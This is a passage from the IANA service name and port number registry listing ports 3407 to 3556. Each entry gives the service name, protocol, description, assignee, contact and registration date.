ldap-admin         3407        udp    LDAP admin server port       [Stephen_Tsun_2]                                      [Stephen_Tsun_2]                                          2002-02
BESApi             3408        tcp    BES Api Port                 [Colin_Griffiths]                                     [Colin_Griffiths]                                         2002-02
BESApi             3408        udp    BES Api Port                 [Colin_Griffiths]                                     [Colin_Griffiths]                                         2002-02
networklens        3409        tcp    NetworkLens Event Port
networklens        3409        udp    NetworkLens Event Port
networklenss       3410        tcp    NetworkLens SSL Event        [Greg_Bailey]                                         [Greg_Bailey]                                             2002-02
networklenss       3410        udp    NetworkLens SSL Event        [Greg_Bailey]                                         [Greg_Bailey]                                             2002-02
biolink-auth       3411        tcp    BioLink Authenteon server    [BioLink_Support]                                     [BioLink_Support]                                         2002-02
biolink-auth       3411        udp    BioLink Authenteon server    [BioLink_Support]                                     [BioLink_Support]                                         2002-02
xmlblaster         3412        tcp    xmlBlaster                   [Marcel_Ruff]                                         [Marcel_Ruff]                                             2002-02
xmlblaster         3412        udp    xmlBlaster                   [Marcel_Ruff]                                         [Marcel_Ruff]                                             2002-02
svnet              3413        tcp    SpecView Networking          [Richard_Dickins]                                     [Richard_Dickins]                                         2002-02
svnet              3413        udp    SpecView Networking          [Richard_Dickins]                                     [Richard_Dickins]                                         2002-02
wip-port           3414        tcp    BroadCloud WIP Port
wip-port           3414        udp    BroadCloud WIP Port
bcinameservice     3415        tcp    BCI Name Service             [Dennis_Parker]                                       [Dennis_Parker]                                           2002-02
bcinameservice     3415        udp    BCI Name Service             [Dennis_Parker]                                       [Dennis_Parker]                                           2002-02
commandport        3416        tcp    AirMobile IS Command Port    [Mike_Klein]                                          [Mike_Klein]                                              2002-02
commandport        3416        udp    AirMobile IS Command Port    [Mike_Klein]                                          [Mike_Klein]                                              2002-02
csvr               3417        tcp    ConServR file translation    [Albert_Leung]                                        [Albert_Leung]                                            2002-02
csvr               3417        udp    ConServR file translation    [Albert_Leung]                                        [Albert_Leung]                                            2002-02
rnmap              3418        tcp    Remote nmap                  [Tuomo_Makinen]                                       [Tuomo_Makinen]                                           2002-02
rnmap              3418        udp    Remote nmap                  [Tuomo_Makinen]                                       [Tuomo_Makinen]                                           2002-02
softaudit          3419        tcp    Isogon SoftAudit             [Per_Hellberg]                                        [Per_Hellberg]                                            2002-02
softaudit          3419        udp    ISogon SoftAudit             [Per_Hellberg]                                        [Per_Hellberg]                                            2002-02
ifcp-port          3420        tcp    iFCP User Port                                                                                                                                                         [RFC4172]
ifcp-port          3420        udp    iFCP User Port                                                                                                                                                         [RFC4172]
bmap               3421        tcp    Bull Apprise portmapper      [Jeremy_Gilbert]                                      [Jeremy_Gilbert]
bmap               3421        udp    Bull Apprise portmapper      [Jeremy_Gilbert]                                      [Jeremy_Gilbert]
rusb-sys-port      3422        tcp    Remote USB System Port       [Steven_Klein]                                        [Steven_Klein]                                            2002-02
rusb-sys-port      3422        udp    Remote USB System Port       [Steven_Klein]                                        [Steven_Klein]                                            2002-02
xtrm               3423        tcp    xTrade Reliable Messaging
xtrm               3423        udp    xTrade Reliable Messaging
xtrms              3424        tcp    xTrade over TLS/SSL          [Mats_Nilsson]                                        [Mats_Nilsson]                                            2002-02
xtrms              3424        udp    xTrade over TLS/SSL          [Mats_Nilsson]                                        [Mats_Nilsson]                                            2002-02
agps-port          3425        tcp    AGPS Access Port             [Kristoffer_Nilsson]                                  [Kristoffer_Nilsson]                                      2002-02
agps-port          3425        udp    AGPS Access Port             [Kristoffer_Nilsson]                                  [Kristoffer_Nilsson]                                      2002-02
arkivio            3426        tcp    Arkivio Storage Protocol     [Bruce_Greenblatt]                                    [Bruce_Greenblatt]                                        2002-02
arkivio            3426        udp    Arkivio Storage Protocol     [Bruce_Greenblatt]                                    [Bruce_Greenblatt]                                        2002-02
websphere-snmp     3427        tcp    WebSphere SNMP               [Richard_Mills]                                       [Richard_Mills]                                           2002-02
websphere-snmp     3427        udp    WebSphere SNMP               [Richard_Mills]                                       [Richard_Mills]                                           2002-02
twcss              3428        tcp    2Wire CSS                    [Wire_IANA_Contact]                                   [Wire_IANA_Contact]                                       2002-02
twcss              3428        udp    2Wire CSS                    [Wire_IANA_Contact]                                   [Wire_IANA_Contact]                                       2002-02
gcsp               3429        tcp    GCSP user port               [Anirban_Majumder]                                    [Anirban_Majumder]                                        2002-03
gcsp               3429        udp    GCSP user port               [Anirban_Majumder]                                    [Anirban_Majumder]                                        2002-03
ssdispatch         3430        tcp    Scott Studios Dispatch       [Michael_Settles]                                     [Michael_Settles]                                         2002-03
ssdispatch         3430        udp    Scott Studios Dispatch       [Michael_Settles]                                     [Michael_Settles]                                         2002-03
ndl-als            3431        tcp    Active License Server Port   [Quentin_Brown]                                       [Quentin_Brown]                                           2002-03
ndl-als            3431        udp    Active License Server Port   [Quentin_Brown]                                       [Quentin_Brown]                                           2002-03
osdcp              3432        tcp    Secure Device Protocol       [Peter_Fernandez]                                     [Peter_Fernandez]                                         2002-03
osdcp              3432        udp    Secure Device Protocol       [Peter_Fernandez]                                     [Peter_Fernandez]                                         2002-03
opnet-smp          3433        tcp    OPNET Service Management     [OPNET_Technologies_Inc]                              [Edward_Macomber]                                         2002-03      2011-09-21
                                      Platform
opnet-smp          3433        udp    OPNET Service Management     [OPNET_Technologies_Inc]                              [Edward_Macomber]                                         2002-03      2011-09-21
                                      Platform
opencm             3434        tcp    OpenCM Server                [Jonathan_S_Shapiro]                                  [Jonathan_S_Shapiro]                                      2002-03
opencm             3434        udp    OpenCM Server                [Jonathan_S_Shapiro]                                  [Jonathan_S_Shapiro]                                      2002-03
pacom              3435        tcp    Pacom Security User Port     [Steve_Barton]                                        [Steve_Barton]                                            2002-03
pacom              3435        udp    Pacom Security User Port     [Steve_Barton]                                        [Steve_Barton]                                            2002-03
gc-config          3436        tcp    GuardControl Exchange        [Andreas_Schwarz]                                     [Andreas_Schwarz]                                         2002-03
                                      Protocol
gc-config          3436        udp    GuardControl Exchange        [Andreas_Schwarz]                                     [Andreas_Schwarz]                                         2002-03
                                      Protocol
autocueds          3437        tcp    Autocue Directory Service    [Geoff_Back]                                          [Geoff_Back]                                              2002-03
autocueds          3437        udp    Autocue Directory Service    [Geoff_Back]                                          [Geoff_Back]                                              2002-03
spiral-admin       3438        tcp    Spiralcraft Admin            [Michael_Toth]                                        [Michael_Toth]                                            2002-03
spiral-admin       3438        udp    Spiralcraft Admin            [Michael_Toth]                                        [Michael_Toth]                                            2002-03
hri-port           3439        tcp    HRI Interface Port           [John_Fayos]                                          [John_Fayos]                                              2002-03
hri-port           3439        udp    HRI Interface Port           [John_Fayos]                                          [John_Fayos]                                              2002-03
ans-console        3440        tcp    Net Steward Mgmt Console     [John_Richmond]                                       [John_Richmond]                                           2002-03
ans-console        3440        udp    Net Steward Mgmt Console     [John_Richmond]                                       [John_Richmond]                                           2002-03
connect-client     3441        tcp    OC Connect Client
connect-client     3441        udp    OC Connect Client
connect-server     3442        tcp    OC Connect Server            [Mike_Velten_2]                                       [Mike_Velten_2]                                           2002-03
connect-server     3442        udp    OC Connect Server            [Mike_Velten_2]                                       [Mike_Velten_2]                                           2002-03
ov-nnm-websrv      3443        tcp    OpenView Network Node        [Anthony_Walker]                                      [Anthony_Walker]                                          2002-03
                                      Manager WEB Server
ov-nnm-websrv      3443        udp    OpenView Network Node        [Anthony_Walker]                                      [Anthony_Walker]                                          2002-03
                                      Manager WEB Server
denali-server      3444        tcp    Denali Server                [Joe_Devlin]                                          [Joe_Devlin]                                              2002-03
denali-server      3444        udp    Denali Server                [Joe_Devlin]                                          [Joe_Devlin]                                              2002-03
monp               3445        tcp    Media Object Network         [Ron_Herardian]                                       [Ron_Herardian]                                           2002-03
monp               3445        udp    Media Object Network         [Ron_Herardian]                                       [Ron_Herardian]                                           2002-03
3comfaxrpc         3446        tcp    3Com FAX RPC port            [Christopher_Wells_2]                                 [Christopher_Wells_2]                                     2002-04
3comfaxrpc         3446        udp    3Com FAX RPC port            [Christopher_Wells_2]                                 [Christopher_Wells_2]                                     2002-04
directnet          3447        tcp    DirectNet IM System          [Gregory_Richards]                                    [Gregory_Richards]                                        2002-04
directnet          3447        udp    DirectNet IM System          [Gregory_Richards]                                    [Gregory_Richards]                                        2002-04
dnc-port           3448        tcp    Discovery and Net Config     [Chi_Chen]                                            [Chi_Chen]                                                2002-04
dnc-port           3448        udp    Discovery and Net Config     [Chi_Chen]                                            [Chi_Chen]                                                2002-04
hotu-chat          3449        tcp    HotU Chat                    [Tim_Burgess]                                         [Tim_Burgess]                                             2002-04
hotu-chat          3449        udp    HotU Chat                    [Tim_Burgess]                                         [Tim_Burgess]                                             2002-04
castorproxy        3450        tcp    CAStorProxy                  [Raymond_J_Young]                                     [Raymond_J_Young]                                         2002-04
castorproxy        3450        udp    CAStorProxy                  [Raymond_J_Young]                                     [Raymond_J_Young]                                         2002-04
asam               3451        tcp    ASAM Services                [Mike_Gossett]                                        [Mike_Gossett]                                            2002-04
asam               3451        udp    ASAM Services                [Mike_Gossett]                                        [Mike_Gossett]                                            2002-04
sabp-signal        3452        tcp    SABP-Signalling Protocol     [Brendan_McWilliams]                                  [Brendan_McWilliams]                                      2002-04
sabp-signal        3452        udp    SABP-Signalling Protocol     [Brendan_McWilliams]                                  [Brendan_McWilliams]                                      2002-04
pscupd             3453        tcp    PSC Update                   [Datalogic_ADC_Inc]                                   [Reid_B_Ligon]                                            2001-11-10   2014-07-31
pscupd             3453        udp    PSC Update                   [Datalogic_ADC_Inc]                                   [Reid_B_Ligon]                                            2001-11-10   2014-07-31
mira               3454        tcp    Apple Remote Access Protocol [Mike_Alexander]                                      [Mike_Alexander]
mira               3454        udp    Apple Remote Access Protocol [Mike_Alexander]                                      [Mike_Alexander]
prsvp              3455        tcp    RSVP Port                    [Bob_Braden]                                          [Bob_Braden]
prsvp              3455        udp    RSVP Port                    [Bob_Braden]                                          [Bob_Braden]
vat                3456        tcp    VAT default data             [Van_Jacobson]                                        [Van_Jacobson]
vat                3456        udp    VAT default data             [Van_Jacobson]                                        [Van_Jacobson]
vat-control        3457        tcp    VAT default control          [Van_Jacobson]                                        [Van_Jacobson]
vat-control        3457        udp    VAT default control          [Van_Jacobson]                                        [Van_Jacobson]
d3winosfi          3458        tcp    D3WinOSFI                    [Brad_Hamilton]                                       [Brad_Hamilton]
d3winosfi          3458        udp    D3WinOSFI                    [Brad_Hamilton]                                       [Brad_Hamilton]
integral           3459        tcp    TIP Integral                 [Olivier_Mascia]                                      [Olivier_Mascia]
integral           3459        udp    TIP Integral                 [Olivier_Mascia]                                      [Olivier_Mascia]
edm-manager        3460        tcp    EDM Manger
edm-manager        3460        udp    EDM Manger
edm-stager         3461        tcp    EDM Stager
edm-stager         3461        udp    EDM Stager
edm-std-notify     3462        tcp    EDM STD Notify
edm-std-notify     3462        udp    EDM STD Notify
edm-adm-notify     3463        tcp    EDM ADM Notify
edm-adm-notify     3463        udp    EDM ADM Notify
edm-mgr-sync       3464        tcp    EDM MGR Sync
edm-mgr-sync       3464        udp    EDM MGR Sync
edm-mgr-cntrl      3465        tcp    EDM MGR Cntrl                [Tom_Hennessy]                                        [Tom_Hennessy]
edm-mgr-cntrl      3465        udp    EDM MGR Cntrl                [Tom_Hennessy]                                        [Tom_Hennessy]
workflow           3466        tcp    WORKFLOW                     [Robert_Hufsky]                                       [Robert_Hufsky]
workflow           3466        udp    WORKFLOW                     [Robert_Hufsky]                                       [Robert_Hufsky]
rcst               3467        tcp    RCST                         [Kit_Sturgeon]                                        [Kit_Sturgeon]
rcst               3467        udp    RCST                         [Kit_Sturgeon]                                        [Kit_Sturgeon]
ttcmremotectrl     3468        tcp    TTCM Remote Controll         [Yossi_Cohen_Shahar]                                  [Yossi_Cohen_Shahar]
ttcmremotectrl     3468        udp    TTCM Remote Controll         [Yossi_Cohen_Shahar]                                  [Yossi_Cohen_Shahar]
pluribus           3469        tcp    Pluribus                     [Mark_Miller]                                         [Mark_Miller]
pluribus           3469        udp    Pluribus                     [Mark_Miller]                                         [Mark_Miller]
jt400              3470        tcp    jt400
jt400              3470        udp    jt400
jt400-ssl          3471        tcp    jt400-ssl                    [Clifton_Nock]                                        [Clifton_Nock]
jt400-ssl          3471        udp    jt400-ssl                    [Clifton_Nock]                                        [Clifton_Nock]
jaugsremotec-1     3472        tcp    JAUGS N-G Remotec 1
jaugsremotec-1     3472        udp    JAUGS N-G Remotec 1
jaugsremotec-2     3473        tcp    JAUGS N-G Remotec 2          [Steven_B_Cliff]                                      [Steven_B_Cliff]                                          2002-04
jaugsremotec-2     3473        udp    JAUGS N-G Remotec 2          [Steven_B_Cliff]                                      [Steven_B_Cliff]                                          2002-04
ttntspauto         3474        tcp    TSP Automation               [Arnie_Koster]                                        [Arnie_Koster]                                            2002-04
ttntspauto         3474        udp    TSP Automation               [Arnie_Koster]                                        [Arnie_Koster]                                            2002-04
genisar-port       3475        tcp    Genisar Comm Port            [Candace_Niccolson]                                   [Candace_Niccolson]                                       2002-04
genisar-port       3475        udp    Genisar Comm Port            [Candace_Niccolson]                                   [Candace_Niccolson]                                       2002-04
nppmp              3476        tcp    NVIDIA Mgmt Protocol         [Gilbert_Yeung]                                       [Gilbert_Yeung]                                           2002-04
nppmp              3476        udp    NVIDIA Mgmt Protocol         [Gilbert_Yeung]                                       [Gilbert_Yeung]                                           2002-04
ecomm              3477        tcp    eComm link port              [Thomas_Soerensen]                                    [Thomas_Soerensen]                                        2002-04
ecomm              3477        udp    eComm link port              [Thomas_Soerensen]                                    [Thomas_Soerensen]                                        2002-04
stun               3478        tcp    Session Traversal Utilities                                                                                                                                            [RFC5389]
                                      for NAT (STUN) port
stun               3478        udp    Session Traversal Utilities                                                                                                                                            [RFC5389]
                                      for NAT (STUN) port
turn               3478        tcp    TURN over TCP                                                                                                                                                          [RFC5766]
turn               3478        udp    TURN over UDP                                                                                                                                                          [RFC5766]
stun-behavior      3478        tcp    STUN Behavior Discovery over                                                                                                                                           [RFC5780]
                                      TCP
stun-behavior      3478        udp    STUN Behavior Discovery over                                                                                                                                           [RFC5780]
                                      UDP
twrpc              3479        tcp    2Wire RPC                    [Wire_IANA_Contact]                                   [Wire_IANA_Contact]                                       2002-04
twrpc              3479        udp    2Wire RPC                    [Wire_IANA_Contact]                                   [Wire_IANA_Contact]                                       2002-04
plethora           3480        tcp    Secure Virtual Workspace     [Tim_Simms]                                           [Tim_Simms]                                               2002-04
plethora           3480        udp    Secure Virtual Workspace     [Tim_Simms]                                           [Tim_Simms]                                               2002-04
cleanerliverc      3481        tcp    CleanerLive remote ctrl      [David_Mojdehi]                                       [David_Mojdehi]                                           2002-04
cleanerliverc      3481        udp    CleanerLive remote ctrl      [David_Mojdehi]                                       [David_Mojdehi]                                           2002-04
vulture            3482        tcp    Vulture Monitoring System    [Jason_Santos]                                        [Jason_Santos]                                            2002-04
vulture            3482        udp    Vulture Monitoring System    [Jason_Santos]                                        [Jason_Santos]                                            2002-04
slim-devices       3483        tcp    Slim Devices Protocol        [Sean_Adams]                                          [Sean_Adams]                                              2002-05
slim-devices       3483        udp    Slim Devices Protocol        [Sean_Adams]                                          [Sean_Adams]                                              2002-05
gbs-stp            3484        tcp    GBS SnapTalk Protocol        [Eric_Harris_Braun]                                   [Eric_Harris_Braun]                                       2002-05
gbs-stp            3484        udp    GBS SnapTalk Protocol        [Eric_Harris_Braun]                                   [Eric_Harris_Braun]                                       2002-05
celatalk           3485        tcp    CelaTalk                     [Carl_Blundell]                                       [Carl_Blundell]                                           2002-05
celatalk           3485        udp    CelaTalk                     [Carl_Blundell]                                       [Carl_Blundell]                                           2002-05
ifsf-hb-port       3486        tcp    IFSF Heartbeat Port          [IFSF_Secretary]                                      [IFSF_Secretary]                                          2002-05
ifsf-hb-port       3486        udp    IFSF Heartbeat Port          [IFSF_Secretary]                                      [IFSF_Secretary]                                          2002-05
ltctcp             3487        tcp    LISA TCP Transfer Channel
ltcudp             3487        udp    LISA UDP Transfer Channel    [Pit_Vetterick]                                       [Pit_Vetterick]                                           2002-05
fs-rh-srv          3488        tcp    FS Remote Host Server        [Brian_Nickles]                                       [Brian_Nickles]                                           2002-05
fs-rh-srv          3488        udp    FS Remote Host Server        [Brian_Nickles]                                       [Brian_Nickles]                                           2002-05
dtp-dia            3489        tcp    DTP/DIA                      [Alexei_V_Soloviev]                                   [Alexei_V_Soloviev]                                       2002-05
dtp-dia            3489        udp    DTP/DIA                      [Alexei_V_Soloviev]                                   [Alexei_V_Soloviev]                                       2002-05
colubris           3490        tcp    Colubris Management Port     [Gilbert_Moineau]                                     [Gilbert_Moineau]                                         2002-05
colubris           3490        udp    Colubris Management Port     [Gilbert_Moineau]                                     [Gilbert_Moineau]                                         2002-05
swr-port           3491        tcp    SWR Port                     [Ian_Manning]                                         [Ian_Manning]                                             2002-05
swr-port           3491        udp    SWR Port                     [Ian_Manning]                                         [Ian_Manning]                                             2002-05
tvdumtray-port     3492        tcp    TVDUM Tray Port              [Peter_Boers]                                         [Peter_Boers]                                             2002-05
tvdumtray-port     3492        udp    TVDUM Tray Port              [Peter_Boers]                                         [Peter_Boers]                                             2002-05
nut                3493        tcp    Network UPS Tools            [Russell_Kroll]                                       [Russell_Kroll]                                           2002-05
nut                3493        udp    Network UPS Tools            [Russell_Kroll]                                       [Russell_Kroll]                                           2002-05
ibm3494            3494        tcp    IBM 3494                     [Jeffrey_Pilch]                                       [Jeffrey_Pilch]
ibm3494            3494        udp    IBM 3494                     [Jeffrey_Pilch]                                       [Jeffrey_Pilch]
seclayer-tcp       3495        tcp    securitylayer over tcp
seclayer-tcp       3495        udp    securitylayer over tcp
seclayer-tls       3496        tcp    securitylayer over tls       [Arno_Hollosi]                                        [Arno_Hollosi]                                            2002-03
seclayer-tls       3496        udp    securitylayer over tls       [Arno_Hollosi]                                        [Arno_Hollosi]                                            2002-03
ipether232port     3497        tcp    ipEther232Port               [Marcus_Leufgen]                                      [Marcus_Leufgen]                                          2002-05
ipether232port     3497        udp    ipEther232Port               [Marcus_Leufgen]                                      [Marcus_Leufgen]                                          2002-05
dashpas-port       3498        tcp    DASHPAS user port            [Albrecht_Mayer]                                      [Albrecht_Mayer]                                          2002-05
dashpas-port       3498        udp    DASHPAS user port            [Albrecht_Mayer]                                      [Albrecht_Mayer]                                          2002-05
sccip-media        3499        tcp    SccIP Media                  [David_Yon_2]                                         [David_Yon_2]                                             2002-05
sccip-media        3499        udp    SccIP Media                  [David_Yon_2]                                         [David_Yon_2]                                             2002-05
rtmp-port          3500        tcp    RTMP Port                    [Miriam_Wohlgelernter]                                [Miriam_Wohlgelernter]
rtmp-port          3500        udp    RTMP Port                    [Miriam_Wohlgelernter]                                [Miriam_Wohlgelernter]
isoft-p2p          3501        tcp    iSoft-P2P                    [David_Walling_2]                                     [David_Walling_2]
isoft-p2p          3501        udp    iSoft-P2P                    [David_Walling_2]                                     [David_Walling_2]
avinstalldisc      3502        tcp    Avocent Install Discovery    [Brian_S_Stewart_2]                                   [Brian_S_Stewart_2]
avinstalldisc      3502        udp    Avocent Install Discovery    [Brian_S_Stewart_2]                                   [Brian_S_Stewart_2]
lsp-ping           3503        tcp    MPLS LSP-echo Port                                                                                                                                                     [RFC8029]
lsp-ping           3503        udp    MPLS LSP-echo Port                                                                                                                                                     [RFC8029]
ironstorm          3504        tcp    IronStorm game server        [Arnaud_Clermonte]                                    [Arnaud_Clermonte]
ironstorm          3504        udp    IronStorm game server        [Arnaud_Clermonte]                                    [Arnaud_Clermonte]
ccmcomm            3505        tcp    CCM communications port      [Tom_Bougan]                                          [Tom_Bougan]
ccmcomm            3505        udp    CCM communications port      [Tom_Bougan]                                          [Tom_Bougan]
apc-3506           3506        tcp    APC 3506                     [American_Power_Conve]                                [American_Power_Conve]
apc-3506           3506        udp    APC 3506                     [American_Power_Conve]                                [American_Power_Conve]
nesh-broker        3507        tcp    Nesh Broker Port             [Jeremy_Maiden]                                       [Jeremy_Maiden]
nesh-broker        3507        udp    Nesh Broker Port             [Jeremy_Maiden]                                       [Jeremy_Maiden]
interactionweb     3508        tcp    Interaction Web              [Mike_Gagle_2]                                        [Mike_Gagle_2]
interactionweb     3508        udp    Interaction Web              [Mike_Gagle_2]                                        [Mike_Gagle_2]
vt-ssl             3509        tcp    Virtual Token SSL Port       [Libor_Sykora]                                        [Libor_Sykora]                                            2002-05
vt-ssl             3509        udp    Virtual Token SSL Port       [Libor_Sykora]                                        [Libor_Sykora]                                            2002-05
xss-port           3510        tcp    XSS Port                     [Joe_Purcell]                                         [Joe_Purcell]                                             2002-05
xss-port           3510        udp    XSS Port                     [Joe_Purcell]                                         [Joe_Purcell]                                             2002-05
webmail-2          3511        tcp    WebMail/2                    [Dimitris_Michelinaki]                                [Dimitris_Michelinaki]                                    2002-05
webmail-2          3511        udp    WebMail/2                    [Dimitris_Michelinaki]                                [Dimitris_Michelinaki]                                    2002-05
aztec              3512        tcp    Aztec Distribution Port      [Alan_Francis]                                        [Alan_Francis]                                            2002-05
aztec              3512        udp    Aztec Distribution Port      [Alan_Francis]                                        [Alan_Francis]                                            2002-05
arcpd              3513        tcp    Adaptec Remote Protocol      [Hardy_Doelfel]                                       [Hardy_Doelfel]                                           2002-05
arcpd              3513        udp    Adaptec Remote Protocol      [Hardy_Doelfel]                                       [Hardy_Doelfel]                                           2002-05
must-p2p           3514        tcp    MUST Peer to Peer
must-p2p           3514        udp    MUST Peer to Peer
must-backplane     3515        tcp    MUST Backplane               [Rick_Stefanik]                                       [Rick_Stefanik]                                           2002-05
must-backplane     3515        udp    MUST Backplane               [Rick_Stefanik]                                       [Rick_Stefanik]                                           2002-05
smartcard-port     3516        tcp    Smartcard Port               [Scott_Guthery]                                       [Scott_Guthery]                                           2002-05
smartcard-port     3516        udp    Smartcard Port               [Scott_Guthery]                                       [Scott_Guthery]                                           2002-05
802-11-iapp        3517        tcp    IEEE 802.11 WLANs WG IAPP    [Stuart_J_Kerry]                                      [Stuart_J_Kerry]                                          2002-05
802-11-iapp        3517        udp    IEEE 802.11 WLANs WG IAPP    [Stuart_J_Kerry]                                      [Stuart_J_Kerry]                                          2002-05
artifact-msg       3518        tcp    Artifact Message Server      [Ron_Capwell]                                         [Ron_Capwell]                                             2002-06
artifact-msg       3518        udp    Artifact Message Server      [Ron_Capwell]                                         [Ron_Capwell]                                             2002-06
nvmsgd             3519        tcp    Netvion Messenger Port
galileo            3519        udp    Netvion Galileo Port
galileolog         3520        tcp    Netvion Galileo Log Port     [Ray_Caruso]                                          [Ray_Caruso]                                              2002-06
galileolog         3520        udp    Netvion Galileo Log Port     [Ray_Caruso]                                          [Ray_Caruso]                                              2002-06
mc3ss              3521        tcp    Telequip Labs MC3SS          [Michael_Sparks]                                      [Michael_Sparks]                                          2002-06
mc3ss              3521        udp    Telequip Labs MC3SS          [Michael_Sparks]                                      [Michael_Sparks]                                          2002-06
nssocketport       3522        tcp    DO over NSSocketPort         [Douglas_Davidson]                                    [Douglas_Davidson]                                        2002-06
nssocketport       3522        udp    DO over NSSocketPort         [Douglas_Davidson]                                    [Douglas_Davidson]                                        2002-06
odeumservlink      3523        tcp    Odeum Serverlink             [Mads_Peter_Back]                                     [Mads_Peter_Back]                                         2002-06
odeumservlink      3523        udp    Odeum Serverlink             [Mads_Peter_Back]                                     [Mads_Peter_Back]                                         2002-06
ecmport            3524        tcp    ECM Server port
ecmport            3524        udp    ECM Server port
eisport            3525        tcp    EIS Server port              [Paul_Kraus]                                          [Paul_Kraus]                                              2002-06
eisport            3525        udp    EIS Server port              [Paul_Kraus]                                          [Paul_Kraus]                                              2002-06
starquiz-port      3526        tcp    starQuiz Port                [Adam_Ernst_2]                                        [Adam_Ernst_2]                                            2002-06
starquiz-port      3526        udp    starQuiz Port                [Adam_Ernst_2]                                        [Adam_Ernst_2]                                            2002-06
beserver-msg-q     3527        tcp    VERITAS Backup Exec Server   [Katherine_Wattwood]                                  [Katherine_Wattwood]                                      2002-06
beserver-msg-q     3527        udp    VERITAS Backup Exec Server   [Katherine_Wattwood]                                  [Katherine_Wattwood]                                      2002-06
jboss-iiop         3528        tcp    JBoss IIOP
jboss-iiop         3528        udp    JBoss IIOP
jboss-iiop-ssl     3529        tcp    JBoss IIOP/SSL               [Francisco_Reverbel]                                  [Francisco_Reverbel]                                      2002-06
jboss-iiop-ssl     3529        udp    JBoss IIOP/SSL               [Francisco_Reverbel]                                  [Francisco_Reverbel]                                      2002-06
gf                 3530        tcp    Grid Friendly                [Daivd_P_Chassin]                                     [Daivd_P_Chassin]                                         2002-06
gf                 3530        udp    Grid Friendly                [Daivd_P_Chassin]                                     [Daivd_P_Chassin]                                         2002-06
joltid             3531        tcp    Joltid                       [Ahti_Heinla]                                         [Ahti_Heinla]                                             2002-06
joltid             3531        udp    Joltid                       [Ahti_Heinla]                                         [Ahti_Heinla]                                             2002-06
raven-rmp          3532        tcp    Raven Remote Management
                                      Control
raven-rmp          3532        udp    Raven Remote Management
                                      Control
raven-rdp          3533        tcp    Raven Remote Management Data [Daniel_Sorlov_2]                                     [Daniel_Sorlov_2]                                         2002-06
raven-rdp          3533        udp    Raven Remote Management Data [Daniel_Sorlov_2]                                     [Daniel_Sorlov_2]                                         2002-06
urld-port          3534        tcp    URL Daemon Port              [Jim_Binkley]                                         [Jim_Binkley]                                             2002-06
urld-port          3534        udp    URL Daemon Port              [Jim_Binkley]                                         [Jim_Binkley]                                             2002-06
ms-la              3535        tcp    MS-LA                        [Eric_Ledoux]                                         [Eric_Ledoux]
ms-la              3535        udp    MS-LA                        [Eric_Ledoux]                                         [Eric_Ledoux]
snac               3536        tcp    SNAC                         [Tatsuya_Igarashi]                                    [Tatsuya_Igarashi]                                        2002-07
snac               3536        udp    SNAC                         [Tatsuya_Igarashi]                                    [Tatsuya_Igarashi]                                        2002-07
ni-visa-remote     3537        tcp    Remote NI-VISA port          [Sinnadurai_Dharshan]                                 [Sinnadurai_Dharshan]                                     2002-07
ni-visa-remote     3537        udp    Remote NI-VISA port          [Sinnadurai_Dharshan]                                 [Sinnadurai_Dharshan]                                     2002-07
ibm-diradm         3538        tcp    IBM Directory Server
ibm-diradm         3538        udp    IBM Directory Server
ibm-diradm-ssl     3539        tcp    IBM Directory Server SSL     [Mark_Cavage]                                         [Mark_Cavage]                                             2002-07
ibm-diradm-ssl     3539        udp    IBM Directory Server SSL     [Mark_Cavage]                                         [Mark_Cavage]                                             2002-07
pnrp-port          3540        tcp    PNRP User Port               [Igor_Kostic]                                         [Igor_Kostic]                                             2002-07
pnrp-port          3540        udp    PNRP User Port               [Igor_Kostic]                                         [Igor_Kostic]                                             2002-07
voispeed-port      3541        tcp    VoiSpeed Port                [Virgilio_Lattanzi]                                   [Virgilio_Lattanzi]                                       2002-07
voispeed-port      3541        udp    VoiSpeed Port                [Virgilio_Lattanzi]                                   [Virgilio_Lattanzi]                                       2002-07
hacl-monitor       3542        tcp    HA cluster monitor           [Jason_Ko]                                            [Jason_Ko]                                                2002-07
hacl-monitor       3542        udp    HA cluster monitor           [Jason_Ko]                                            [Jason_Ko]                                                2002-07
qftest-lookup      3543        tcp    qftest Lookup Port           [Gregor_Schmid]                                       [Gregor_Schmid]                                           2002-07
qftest-lookup      3543        udp    qftest Lookup Port           [Gregor_Schmid]                                       [Gregor_Schmid]                                           2002-07
teredo             3544        tcp    Teredo Port                                                                                                                                                            [RFC4380]
teredo             3544        udp    Teredo Port                                                                                                                                                            [RFC4380]
camac              3545        tcp    CAMAC equipment              [Eugene_Zhiganov]                                     [Eugene_Zhiganov]                                         2002-07
camac              3545        udp    CAMAC equipment              [Eugene_Zhiganov]                                     [Eugene_Zhiganov]                                         2002-07
                   3546               Unassigned                                                                                                                                                2002-09
symantec-sim       3547        tcp    Symantec SIM                 [George_Dzieciol]                                     [George_Dzieciol]                                         2002-07
symantec-sim       3547        udp    Symantec SIM                 [George_Dzieciol]                                     [George_Dzieciol]                                         2002-07
interworld         3548        tcp    Interworld                   [John_Stephen]                                        [John_Stephen]                                            2002-07
interworld         3548        udp    Interworld                   [John_Stephen]                                        [John_Stephen]                                            2002-07
tellumat-nms       3549        tcp    Tellumat MDR NMS             [Hennie_van_der_Merwe]                                [Hennie_van_der_Merwe]                                    2002-07
tellumat-nms       3549        udp    Tellumat MDR NMS             [Hennie_van_der_Merwe]                                [Hennie_van_der_Merwe]                                    2002-07
ssmpp              3550        tcp    Secure SMPP                  [Cormac_Long]                                         [Cormac_Long]                                             2002-07
ssmpp              3550        udp    Secure SMPP                  [Cormac_Long]                                         [Cormac_Long]                                             2002-07
apcupsd            3551        tcp    Apcupsd Information Port     [Riccardo_Facchetti]                                  [Riccardo_Facchetti]                                      2002-07
apcupsd            3551        udp    Apcupsd Information Port     [Riccardo_Facchetti]                                  [Riccardo_Facchetti]                                      2002-07
taserver           3552        tcp    TeamAgenda Server Port       [Dany_Ayotte]                                         [Dany_Ayotte]                                             2002-07
taserver           3552        udp    TeamAgenda Server Port       [Dany_Ayotte]                                         [Dany_Ayotte]                                             2002-07
rbr-discovery      3553        tcp    Red Box Recorder ADP         [Simon_Jolly]                                         [Simon_Jolly]                                             2002-07
rbr-discovery      3553        udp    Red Box Recorder ADP         [Simon_Jolly]                                         [Simon_Jolly]                                             2002-07
questnotify        3554        tcp    Quest Notification Server    [Rob_Griffin]                                         [Rob_Griffin]                                             2002-07
questnotify        3554        udp    Quest Notification Server    [Rob_Griffin]                                         [Rob_Griffin]                                             2002-07
razor              3555        tcp    Vipul's Razor                [Vipul_Ved_Prakash]                                   [Vipul_Ved_Prakash]                                       2002-07
razor              3555        udp    Vipul's Razor                [Vipul_Ved_Prakash]                                   [Vipul_Ved_Prakash]                                       2002-07
sky-transport      3556        tcp    Sky Transport Protocol       [Michael_Paddon]                                      [Michael_Paddon]                                          2002-07
